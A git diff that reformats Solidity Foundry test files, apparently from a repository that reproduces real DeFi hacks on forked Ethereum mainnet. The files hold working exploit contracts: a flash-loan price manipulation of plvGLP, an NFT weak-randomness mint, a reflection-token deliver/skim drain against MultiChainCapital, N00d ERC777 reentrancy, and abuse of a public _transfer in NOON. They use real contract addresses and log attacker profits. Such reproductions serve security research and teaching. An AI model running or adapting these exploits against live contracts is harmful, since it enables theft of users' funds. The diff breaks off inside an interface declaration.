uint256[] memory modes = new uint[](3); modes[0] = 0; @@ -124,14 +119,24 @@ contract ContractTest is Test{ modes[2] = 0; AaveFlash.flashLoan(address(this), assets, amounts, modes, address(0), "", 0); - emit log_named_decimal_uint("Attacker PlvGlpToken balance after exploit", PlvGlpToken.balanceOf(address(this)), PlvGlpToken.decimals()); + emit log_named_decimal_uint( + "Attacker PlvGlpToken balance after exploit", PlvGlpToken.balanceOf(address(this)), PlvGlpToken.decimals() + ); console.log("Attacker swap all PlvGlpToken to about 4500 ETH"); - emit log_named_decimal_uint("Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()); - emit log_named_decimal_uint("Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()); + emit log_named_decimal_uint( + "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() + ); + emit log_named_decimal_uint( + "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() + ); emit log_named_decimal_uint("Attacker MIM balance after exploit", MIM.balanceOf(address(this)), MIM.decimals()); - emit log_named_decimal_uint("Attacker FRAX balance after exploit", FRAX.balanceOf(address(this)), FRAX.decimals()); + emit log_named_decimal_uint( + "Attacker FRAX balance after exploit", FRAX.balanceOf(address(this)), FRAX.decimals() + ); emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals()); - emit log_named_decimal_uint("Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals()); + emit log_named_decimal_uint( + "Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals() + ); } function executeOperation( @@ -140,11 +145,11 @@ contract ContractTest is Test{ uint256[] calldata premiums, address initiator, bytes calldata params - ) external payable returns (bool){ - if(msg.sender == address(AaveFlash)){ - USDC.approve(address(AaveFlash), type(uint).max); - WETH.approve(address(AaveFlash), type(uint).max); - DAI.approve(address(AaveFlash), type(uint).max); + ) external payable returns (bool) { + if (msg.sender == address(AaveFlash)) { + USDC.approve(address(AaveFlash), type(uint256).max); + WETH.approve(address(AaveFlash), type(uint256).max); + DAI.approve(address(AaveFlash), type(uint256).max); address[] memory assets = new address[](1); assets[0] = address(USDC); uint256[] memory amounts = new uint256[](1); @@ -153,16 +158,15 @@ contract ContractTest is Test{ modes[0] = 0; Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(1), 0); return true; - } - else if(msg.sender == address(Radiant)){ - USDC.approve(address(Radiant), type(uint).max); - UniV3Flash1.flash(address(this), 5_460 * 1e18, 7_170_000 * 1e6, new bytes(1)); + } else if (msg.sender == address(Radiant)) { + USDC.approve(address(Radiant), type(uint256).max); + UniV3Flash1.flash(address(this), 5460 * 1e18, 7_170_000 * 1e6, new bytes(1)); return true; } } - function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external{ - if(msg.sender == address(UniV3Flash1)){ + function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external { + if (msg.sender == address(UniV3Flash1)) { UniV3Flash2.flash(address(this), 0, 2_200_000 * 1e6, new bytes(1)); USDC.transfer(address(UniV3Flash1), 7_173_631 * 1e6); USDC.approve(address(Router), 19_012_632 * 1e6); @@ -170,33 +174,31 @@ contract ContractTest is Test{ path[0] = address(USDC); path[1] = address(WETH); Router.swap(path, 19_012_632 * 1e6, 8000 * 1e18, address(this)); - WETH.transfer(address(UniV3Flash1), 5_463 * 1e18); - } - else if(msg.sender == address(UniV3Flash2)){ + WETH.transfer(address(UniV3Flash1), 5463 * 1e18); + } else if (msg.sender == address(UniV3Flash2)) { Pair.swap(0, 10_000_000 * 1e6, address(this), new bytes(1)); USDC.transfer(address(UniV3Flash2), 2_201_111 * 1e6); - } - else if(msg.sender == address(UniV3Flash3)){ + } else if (msg.sender == address(UniV3Flash3)) { swapFlashLoan.flashLoan(address(this), address(FRAX), 361_037 * 1e18, new bytes(1)); USDT.transfer(address(UniV3Flash3), 397_256 * 1e6); USDC.transfer(address(UniV3Flash3), 1_610_460 * 1e6); } } - function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) payable external{ + function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external payable { WETH.withdraw(WETH.balanceOf(address(this))); address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(USDC); - Router.swapETHToTokens{value: 14960 ether}(path, 18_890_000 * 1e6, address(this)); // 14,960 WETH for 19,001,512 USDC + Router.swapETHToTokens{value: 14_960 ether}(path, 18_890_000 * 1e6, address(this)); // 14,960 WETH for 19,001,512 USDC USDC.approve(address(IUSDC), USDC.balanceOf(address(this))); IUSDC.mint(USDC.balanceOf(address(this))); // 70M USDC address[] memory cTokens = new address[](1); cTokens[0] = address(IUSDC); unitroller.enterMarkets(cTokens); - uint PlvGlpTokenAmount = PlvGlpToken.balanceOf(address(lplvGLP)); - PlvGlpToken.approve(address(lplvGLP), type(uint).max); - for(uint i = 0; i < 16; i++){ + uint256 PlvGlpTokenAmount = PlvGlpToken.balanceOf(address(lplvGLP)); + PlvGlpToken.approve(address(lplvGLP), type(uint256).max); + for (uint256 i = 0; i < 16; i++) { lplvGLP.borrow(PlvGlpTokenAmount); lplvGLP.mint(PlvGlpTokenAmount); } @@ -215,18 +217,22 @@ contract ContractTest is Test{ uint256 amount, uint256 fee, bytes calldata params - ) external payable{ - uint ETHglpAmount = Reward.mintAndStakeGlpETH{value: 1580 ether}(1_836_000 * 1e18, 2_156_500 * 1e18); + ) external payable { + uint256 ETHglpAmount = Reward.mintAndStakeGlpETH{value: 1580 ether}(1_836_000 * 1e18, 2_156_500 * 1e18); FRAX.approve(GlpManager, FRAX.balanceOf(address(this))); - uint FRAXglpAmount = Reward.mintAndStakeGlp(address(FRAX), FRAX.balanceOf(address(this)), 300_000 * 1e18, 361_000 * 1e18); + uint256 FRAXglpAmount = + Reward.mintAndStakeGlp(address(FRAX), FRAX.balanceOf(address(this)), 300_000 * 1e18, 361_000 * 1e18); USDC.approve(GlpManager, USDC.balanceOf(address(this))); - uint USDCglpAmount = Reward.mintAndStakeGlp(address(USDC), USDC.balanceOf(address(this)), 1_500_000 * 1e18, 1_757_500 * 1e18); + uint256 USDCglpAmount = + Reward.mintAndStakeGlp(address(USDC), USDC.balanceOf(address(this)), 1_500_000 * 1e18, 1_757_500 * 1e18); DAI.approve(GlpManager, DAI.balanceOf(address(this))); - uint DAIglpAmount = Reward.mintAndStakeGlp(address(DAI), DAI.balanceOf(address(this)), 390_000 * 1e18, 399_000 * 1e18); + uint256 DAIglpAmount = + Reward.mintAndStakeGlp(address(DAI), DAI.balanceOf(address(this)), 390_000 * 1e18, 399_000 * 1e18); USDT.approve(GlpManager, USDT.balanceOf(address(this))); - uint USDTglpAmount = Reward.mintAndStakeGlp(address(USDT), USDT.balanceOf(address(this)), 350_000 * 1e18, 427_500 * 1e18); + uint256 USDTglpAmount = + Reward.mintAndStakeGlp(address(USDT), USDT.balanceOf(address(this)), 350_000 * 1e18, 427_500 * 1e18); - uint glpAmount = ETHglpAmount + FRAXglpAmount + USDCglpAmount + DAIglpAmount + USDTglpAmount; + uint256 glpAmount = ETHglpAmount + FRAXglpAmount + USDCglpAmount + DAIglpAmount + USDTglpAmount; sGLP.approve(address(depositor), glpAmount); depositor.donate(glpAmount); // plvGLP price manipulation @@ -238,7 +244,7 @@ contract ContractTest is Test{ FRAX.transfer(address(swapFlashLoan), 361_327 * 1e18); } - function borrowAll() internal{ + function borrowAll() internal { IUSDC.borrow(USDC.balanceOf(address(IUSDC))); IETH.borrow(address(IETH).balance); IMIM.borrow(MIM.balanceOf(address(IMIM))); @@ -248,6 +254,5 @@ contract ContractTest is Test{ IWBTC.borrow(WBTC.balanceOf(address(IWBTC))); } - receive() payable external{} - -} \ No newline at end of file + receive() external payable {} +} diff --git a/src/test/LuckyTiger_exp.sol b/src/test/LuckyTiger_exp.sol index 1412925f..4f5b3f1f 100644 --- a/src/test/LuckyTiger_exp.sol +++ b/src/test/LuckyTiger_exp.sol @@ -2,7 +2,6 @@ pragma solidity ^0.8.13; - import "forge-std/Test.sol"; /* @@ -12,63 +11,59 @@ import "forge-std/Test.sol"; */ interface NFT { - function balanceOf(address _owner) external view returns (uint balance); + function balanceOf(address _owner) external view returns (uint256 balance); } contract luckyHack is Test { + event Log(string); - event Log(string); + address owner = address(this); + address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967; - address owner = address(this); - address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967; - function setUp() public { - vm.createSelectFork("mainnet", 15403430); // fork mainnet block number 15403430 + vm.createSelectFork("mainnet", 15_403_430); // fork mainnet block number 15403430 vm.deal(address(this), 3 ether); vm.deal(address(nftAddress), 5 ether); } - function getRandom() public view returns(uint){ - if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) { + function getRandom() public view returns (uint256) { + if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) { return 0; - }else{ + } else { return 1; } - } - + } - function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { - return this.onERC721Received.selector; - } + function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { + return this.onERC721Received.selector; + } - function testExploit() public { - vm.warp(1661351167); - console.log("getRandom",getRandom()); + function testExploit() public { + vm.warp(1_661_351_167); + console.log("getRandom", getRandom()); - uint amount = 10; + uint256 amount = 10; - if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) { - revert("Not lucky"); - } + if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) { + revert("Not lucky"); + } bytes memory data = abi.encodeWithSignature("publicMint()"); - for(uint i=0; i 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); - require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); - uint numerator = reserveIn * amountOut * 1000; - uint denominator = (reserveOut-amountOut) * 997; - amountIn = (numerator / denominator) + 1; - } - - function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { - require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); - require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); - uint amountInWithFee = amountIn * 997; - uint numerator = amountInWithFee * reserveOut; - uint denominator = (reserveIn *1000) + amountInWithFee; - amountOut = numerator / denominator; - } - - function executeOperation( - address /*asset*/, - uint256 /*amount*/, - uint256 /*premium*/, - address /*initator*/, - bytes calldata /*params*/ - ) external payable returns (bool) { - times = 2; - (uint256 reserve0, uint256 reserve1, ) = mcc_weth.getReserves(); - emit log_named_uint("Reserve0", reserve0); - emit log_named_uint("Reserve1", reserve1); - // uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, 58158410617997415654, 999830779487969029700); - uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, reserve1, reserve0); - weth.transfer(address(mcc_weth), amountIn); - mcc_weth.swap(amount1000 / 100000 * 10001, 0, address(this), new bytes(0)); - mcc.transfer(excludedFromFeeAddress, 1); - rTotal = mcc.reflectionFromToken(amount1000, false); - uint256 attackerBalance = mcc.balanceOf(address(this)); - uint256 attackerROwned = mcc.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - times = 2; - func1f46(10, 1033); - - attackerBalance = mcc.balanceOf(address(this)); - attackerROwned = mcc.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1f46(10, 1034); - - attackerBalance = mcc.balanceOf(address(this)); - attackerROwned = mcc.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1f46(10, 1035); - - attackerBalance = mcc.balanceOf(address(this)); - attackerROwned = mcc.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1f46(10, 1036); - func1f46(10, 1069); - func1f46(10, 1046); - func1f46(4, 1018); - func21b0(10000); - - rTotal = mcc.reflectionFromToken(amount1000, false); - func1f46(10, 1095); - func1f46(10, 1081); - func1f46(10, 1066); - func1f46(10, 1049); - func1f46(10, 1029); - func21b0(5000); - - rTotal = mcc.reflectionFromToken(amount1000, false); - func1f46(10, 1049); - func1f46(10, 1037); - func1f46(10, 1023); - func21b0(500); - - rTotal = mcc.reflectionFromToken(amount1000, false); - func1f46(6, 1012); - - (reserve0, reserve1, ) = mcc_weth.getReserves(); - amountIn = getAmountIn(reserve0 * 9003 / 10000 ,reserve1, reserve0); - weth.transfer(address(mcc_weth), amountIn); - mcc_weth.swap(reserve0 * 9003 / 10000, 0, excludedFromFeeAddress, new bytes(0)); - - for (uint i = 0; i < 15; i ++) { - func1d89(900); - } - - mcc.approve(address(this), type(uint).max); - mcc.transferFrom(address(this), excludedFromFeeAddress, 1); - for (uint i = 0; i < 15; i ++) { - func1d89(900); - } - - mcc.transferFrom(address(this), excludedFromFeeAddress, 1); - for (uint i = 0; i < 15; i ++) { - func1d89(900); - } - - mcc.transferFrom(address(this), excludedFromFeeAddress, 1); - for (uint i = 0; i < 7; i ++) { - func1d89(900); - } - - func1d89(500); - func1d89(500); - func1d89(500); - func1d89(50); - func19c(900); - func19c(300); - func19c(100); - func19c(20); - - uint256 pairBalance = mcc.balanceOf(address(mcc_weth)); - (reserve0, reserve1, ) = mcc_weth.getReserves(); - uint256 amountOut = getAmountOut(pairBalance-reserve0, reserve0, reserve1); - mcc_weth.swap(0, amountOut, address(this), new bytes(0)); - return true; - } - - function func1f46(uint256 v0, uint256 v1) internal { - slot9 = v1; - uint256 v3 = mcc.tokenFromReflection(rTotal/100*v0); - mcc_weth.swap(v3, 0, address(this), new bytes(1)); - mcc.transfer(excludedFromFeeAddress, 1); - } - - function func21b0(uint256 v0) internal { - (uint256 reserve0, uint256 reserve1, ) = mcc_weth.getReserves(); - uint256 amountIn = getAmountIn(amount1000/100000*v0, reserve1, reserve0); - weth.transfer(address(mcc_weth), amountIn); - mcc_weth.swap(amount1000/100000*v0, 0, address(this), new bytes(0)); - mcc.transfer(excludedFromFeeAddress, 1); - } - - function func1d89(uint256 v0) internal { - mcc.deliver(amount1000*v0/1000); - mcc_weth.skim(excludedFromFeeAddress); - } - - function func19c(uint256 v0) internal { - mcc.deliver(amount1000*v0/1000); - } - - function uniswapV2Call(address /*sender*/, uint /*amount0*/, uint /*amount1*/, bytes calldata /*data*/) external { - if (times > 5) { - if (times <= 25) { - uint256 pairBalance = mcc.balanceOf(address(mcc_weth)); - (uint256 reserve0, , ) = mcc_weth.getReserves(); - mcc.deliver((reserve0-pairBalance)*slot9/1000); - times += 1; - } - } else { - uint256 attackerBalance = mcc.balanceOf(address(this)); - uint256 v14 = mcc.reflectionFromToken(attackerBalance, false); - uint256 v17 = mcc.tokenFromReflection(v14-rOwned); - mcc.deliver(v17); - uint256 pairBalance = mcc.balanceOf(address(mcc_weth)); - (uint256 reserve0, uint256 reserve1, ) = mcc_weth.getReserves(); - uint256 amountIn = getAmountIn(reserve0 - pairBalance, reserve1, reserve0); - weth.transfer(address(mcc_weth), amountIn * slot9 / 1000); - times += 1; - } - } - -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo -- Total Lost : ~10 ETH +// Attacker : https://etherscan.io/address/0x8a4571c3a618e00d04287ca6385b6b020ce7a305 +// Attack Contract : https://etherscan.io/address/0x52d74eb7c01c763219dce713da97ebae8b91728e +// Attacker Transaction : https://etherscan.io/tx/0xf72f1d10fc6923f87279ce6c0aef46e372c6652a696f280b0465a301a92f2e26 + +// @Analysis +// https://twitter.com/BeosinAlert/status/1655846558762692608 + +interface IMCC is IERC20 { + function deliver(uint256 amount) external; + function isExcluded(address account) external returns (bool); + function isExcludedFromFee(address account) external returns (bool); + function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external returns (uint256); + function tokenFromReflection(uint256 rAmount) external returns (uint256); +} + +contract MultiChainCapitalExploit is Test { + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + IAaveFlashloan aavePool = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); + IUniswapV2Pair mcc_weth = IUniswapV2Pair(0xDCA79f1f78b866988081DE8a06F92b5e5D316857); + IMCC mcc = IMCC(0x1a7981D87E3b6a95c1516EB820E223fE979896b3); + IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); + + uint256 amount1000 = 1000 ether; + address excludedFromFeeAddress = 0xfA21382cDF68ccA1B3A7107a8Cc80688eefBEEBc; + uint256 rOwned; + uint256 slot9; + uint256 rTotal; + uint256 times; + + function setUp() public { + cheats.createSelectFork("mainnet"); + + cheats.label(address(aavePool), "AavePoolV3"); + cheats.label(address(mcc_weth), "MCC-WETH UniswapPair"); + cheats.label(address(mcc), "MCC"); + cheats.label(address(weth), "WETH"); + cheats.label(address(router), "UniswapV2Router"); + } + + function testExploit() public { + cheats.rollFork(17_221_445); + // emit log_named_decimal_uint("allowance", mcc.allowance(address(0x52d74eb7C01C763219DCE713dA97EBAE8B91728E), address(0x52d74eb7C01C763219DCE713dA97EBAE8B91728E)), mcc.decimals()); + emit log_named_decimal_uint("Attacker ETH balance before exploit", weth.balanceOf(address(this)), 18); + // console.log("excludedFromFee:", mcc.isExcludedFromFee(excludedFromFeeAddress)); + // console.log("excluded:", mcc.isExcluded(excludedFromFeeAddress)); + + weth.approve(address(aavePool), type(uint256).max); + aavePool.flashLoanSimple(address(this), address(weth), 600 ether, new bytes(1), 0); + emit log_named_decimal_uint("Attacker ETH balance after exploit", weth.balanceOf(address(this)), 18); + } + + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) internal pure returns (uint256 amountIn) { + require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); + require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + uint256 numerator = reserveIn * amountOut * 1000; + uint256 denominator = (reserveOut - amountOut) * 997; + amountIn = (numerator / denominator) + 1; + } + + function getAmountOut( + uint256 amountIn, + uint256 reserveIn, + uint256 reserveOut + ) internal pure returns (uint256 amountOut) { + require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); + require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + uint256 amountInWithFee = amountIn * 997; + uint256 numerator = amountInWithFee * reserveOut; + uint256 denominator = (reserveIn * 1000) + amountInWithFee; + amountOut = numerator / denominator; + } + + function executeOperation( + address, /*asset*/ + uint256, /*amount*/ + uint256, /*premium*/ + address, /*initator*/ + bytes calldata /*params*/ + ) external payable returns (bool) { + times = 2; + (uint256 reserve0, uint256 reserve1,) = mcc_weth.getReserves(); + emit log_named_uint("Reserve0", reserve0); + emit log_named_uint("Reserve1", reserve1); + // uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, 58158410617997415654, 999830779487969029700); + uint256 amountIn = getAmountIn(amount1000 / 100_000 * 10_001, reserve1, reserve0); + weth.transfer(address(mcc_weth), amountIn); + mcc_weth.swap(amount1000 / 100_000 * 10_001, 0, address(this), new bytes(0)); + mcc.transfer(excludedFromFeeAddress, 1); + rTotal = mcc.reflectionFromToken(amount1000, false); + uint256 attackerBalance = mcc.balanceOf(address(this)); + uint256 attackerROwned = mcc.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + times = 2; + func1f46(10, 1033); + + attackerBalance = mcc.balanceOf(address(this)); + attackerROwned = mcc.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1f46(10, 1034); + + attackerBalance = mcc.balanceOf(address(this)); + attackerROwned = mcc.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1f46(10, 1035); + + attackerBalance = mcc.balanceOf(address(this)); + attackerROwned = mcc.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1f46(10, 1036); + func1f46(10, 1069); + func1f46(10, 1046); + func1f46(4, 1018); + func21b0(10_000); + + rTotal = mcc.reflectionFromToken(amount1000, false); + func1f46(10, 1095); + func1f46(10, 1081); + func1f46(10, 1066); + func1f46(10, 1049); + func1f46(10, 1029); + func21b0(5000); + + rTotal = mcc.reflectionFromToken(amount1000, false); + func1f46(10, 1049); + func1f46(10, 1037); + func1f46(10, 1023); + func21b0(500); + + rTotal = mcc.reflectionFromToken(amount1000, false); + func1f46(6, 1012); + + (reserve0, reserve1,) = mcc_weth.getReserves(); + amountIn = getAmountIn(reserve0 * 9003 / 10_000, reserve1, reserve0); + weth.transfer(address(mcc_weth), amountIn); + mcc_weth.swap(reserve0 * 9003 / 10_000, 0, excludedFromFeeAddress, new bytes(0)); + + for (uint256 i = 0; i < 15; i++) { + func1d89(900); + } + + mcc.approve(address(this), type(uint256).max); + mcc.transferFrom(address(this), excludedFromFeeAddress, 1); + for (uint256 i = 0; i < 15; i++) { + func1d89(900); + } + + mcc.transferFrom(address(this), excludedFromFeeAddress, 1); + for (uint256 i = 0; i < 15; i++) { + func1d89(900); + } + + mcc.transferFrom(address(this), excludedFromFeeAddress, 1); + for (uint256 i = 0; i < 7; i++) { + func1d89(900); + } + + func1d89(500); + func1d89(500); + func1d89(500); + func1d89(50); + func19c(900); + func19c(300); + func19c(100); + func19c(20); + + uint256 pairBalance = mcc.balanceOf(address(mcc_weth)); + (reserve0, reserve1,) = mcc_weth.getReserves(); + uint256 amountOut = getAmountOut(pairBalance - reserve0, reserve0, reserve1); + mcc_weth.swap(0, amountOut, address(this), new bytes(0)); + return true; + } + + function func1f46(uint256 v0, uint256 v1) internal { + slot9 = v1; + uint256 v3 = mcc.tokenFromReflection(rTotal / 100 * v0); + mcc_weth.swap(v3, 0, address(this), new bytes(1)); + mcc.transfer(excludedFromFeeAddress, 1); + } + + function func21b0(uint256 v0) internal { + (uint256 reserve0, uint256 reserve1,) = mcc_weth.getReserves(); + uint256 amountIn = getAmountIn(amount1000 / 100_000 * v0, reserve1, reserve0); + weth.transfer(address(mcc_weth), amountIn); + mcc_weth.swap(amount1000 / 100_000 * v0, 0, address(this), new bytes(0)); + mcc.transfer(excludedFromFeeAddress, 1); + } + + function func1d89(uint256 v0) internal { + mcc.deliver(amount1000 * v0 / 1000); + mcc_weth.skim(excludedFromFeeAddress); + } + + function func19c(uint256 v0) internal { + mcc.deliver(amount1000 * v0 / 1000); + } + + function uniswapV2Call( + address, /*sender*/ + uint256, /*amount0*/ + uint256, /*amount1*/ + bytes calldata /*data*/ + ) external { + if (times > 5) { + if (times <= 25) { + uint256 pairBalance = mcc.balanceOf(address(mcc_weth)); + (uint256 reserve0,,) = mcc_weth.getReserves(); + mcc.deliver((reserve0 - pairBalance) * slot9 / 1000); + times += 1; + } + } else { + uint256 attackerBalance = mcc.balanceOf(address(this)); + uint256 v14 = mcc.reflectionFromToken(attackerBalance, false); + uint256 v17 = mcc.tokenFromReflection(v14 - rOwned); + mcc.deliver(v17); + uint256 pairBalance = mcc.balanceOf(address(mcc_weth)); + (uint256 reserve0, uint256 reserve1,) = mcc_weth.getReserves(); + uint256 amountIn = getAmountIn(reserve0 - pairBalance, reserve1, reserve0); + weth.transfer(address(mcc_weth), amountIn * slot9 / 1000); + times += 1; + } + } +} diff --git a/src/test/N00d_exp.sol b/src/test/N00d_exp.sol index 0c39959e..0f012bfe 100644 --- a/src/test/N00d_exp.sol +++ b/src/test/N00d_exp.sol @@ -15,50 +15,47 @@ interface sushiBar { function leave(uint256) external; } - -contract ContractTest is DSTest{ +contract ContractTest is DSTest { IERC777 n00d = IERC777(0x2321537fd8EF4644BacDCEec54E5F35bf44311fA); Uni_Pair_V2 Pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389); IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 Xn00d = IERC20(0x3561081260186E69369E6C32F280836554292E08); sushiBar Bar = sushiBar(0x3561081260186E69369E6C32F280836554292E08); ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); - uint i; - uint enterAmount = 0; - uint n00dReserve; - + uint256 i; + uint256 enterAmount = 0; + uint256 n00dReserve; + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("mainnet", 15826379); + cheats.createSelectFork("mainnet", 15_826_379); } - function testExploit() public{ - registry.setInterfaceImplementer(address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this)); - n00d.approve(address(Bar), type(uint).max); + function testExploit() public { + registry.setInterfaceImplementer( + address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this) + ); + n00d.approve(address(Bar), type(uint256).max); // The swap is performed 4 times. - int j; + int256 j; for (j = 1; j < 5; j++) { - (n00dReserve, , ) = Pair.getReserves(); + (n00dReserve,,) = Pair.getReserves(); Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1)); } // Now all funds can be swapped back to WETH. - (n00dReserve, , ) = Pair.getReserves(); + (n00dReserve,,) = Pair.getReserves(); Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1)); - uint amountIn = n00d.balanceOf(address(this)); - (uint n00dR, uint WETHR, ) = Pair.getReserves(); - uint amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000); + uint256 amountIn = n00d.balanceOf(address(this)); + (uint256 n00dR, uint256 WETHR,) = Pair.getReserves(); + uint256 amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000); n00d.transfer(address(Pair), amountIn); Pair.swap(0, amountOut, address(this), ""); - emit log_named_decimal_uint( - "Attacker WETH profit after exploit", - WETH.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("Attacker WETH profit after exploit", WETH.balanceOf(address(this)), 18); } - function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{ + function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { // Resetting count to 0 so we perform re-entry twice each time we swap/loan. i = 0; enterAmount = n00d.balanceOf(address(this)) / 5; @@ -75,12 +72,11 @@ contract ContractTest is DSTest{ bytes calldata userData, bytes calldata operatorData ) external { - if(to == address(Bar) && i < 2){ + if (to == address(Bar) && i < 2) { i++; Bar.enter(enterAmount); } } - function tokensReceived( address operator, @@ -90,6 +86,4 @@ contract ContractTest is DSTest{ bytes calldata userData, bytes calldata operatorData ) external {} - - -} \ No newline at end of file +} diff --git a/src/test/NOON_exp.sol b/src/test/NOON_exp.sol index cf31588f..efe09f27 100644 --- a/src/test/NOON_exp.sol +++ b/src/test/NOON_exp.sol @@ -43,7 +43,7 @@ contract ContractTest is Test { "Attacker amount of WETH before exploitation of vulnerability", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); // Vulnerable point. Looks like this function has wrong visibility. This shouldn't be public NO._transfer(address(Pair), address(this), NO.balanceOf(address(Pair)) - 1); @@ -63,6 +63,6 @@ contract ContractTest is Test { "Attacker amount of WETH after exploitation of vulnerability", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } } diff --git a/src/test/NeutraFinance_exp.sol b/src/test/NeutraFinance_exp.sol index 43cab288..ea25aa79 100644 --- a/src/test/NeutraFinance_exp.sol +++ b/src/test/NeutraFinance_exp.sol @@ -26,136 +26,124 @@ interface IUniswapV2Router01 { function addLiquidity( address tokenA, address tokenB, - uint amountADesired, - uint amountBDesired, - uint amountAMin, - uint amountBMin, + uint256 amountADesired, + uint256 amountBDesired, + uint256 amountAMin, + uint256 amountBMin, address to, - uint deadline - ) external returns (uint amountA, uint amountB, uint liquidity); + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, - uint amountTokenDesired, - uint amountTokenMin, - uint amountETHMin, + uint256 amountTokenDesired, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline - ) - external - payable - returns (uint amountToken, uint amountETH, uint liquidity); + uint256 deadline + ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function removeLiquidity( address tokenA, address tokenB, - uint liquidity, - uint amountAMin, - uint amountBMin, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, address to, - uint deadline - ) external returns (uint amountA, uint amountB); + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, - uint liquidity, - uint amountTokenMin, - uint amountETHMin, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline - ) external returns (uint amountToken, uint amountETH); + uint256 deadline + ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, - uint liquidity, - uint amountAMin, - uint amountBMin, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, address to, - uint deadline, + uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s - ) external returns (uint amountA, uint amountB); + ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, - uint liquidity, - uint amountTokenMin, - uint amountETHMin, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline, + uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s - ) external returns (uint amountToken, uint amountETH); + ) external returns (uint256 amountToken, uint256 amountETH); - function quote( - uint amountA, - uint reserveA, - uint reserveB - ) external 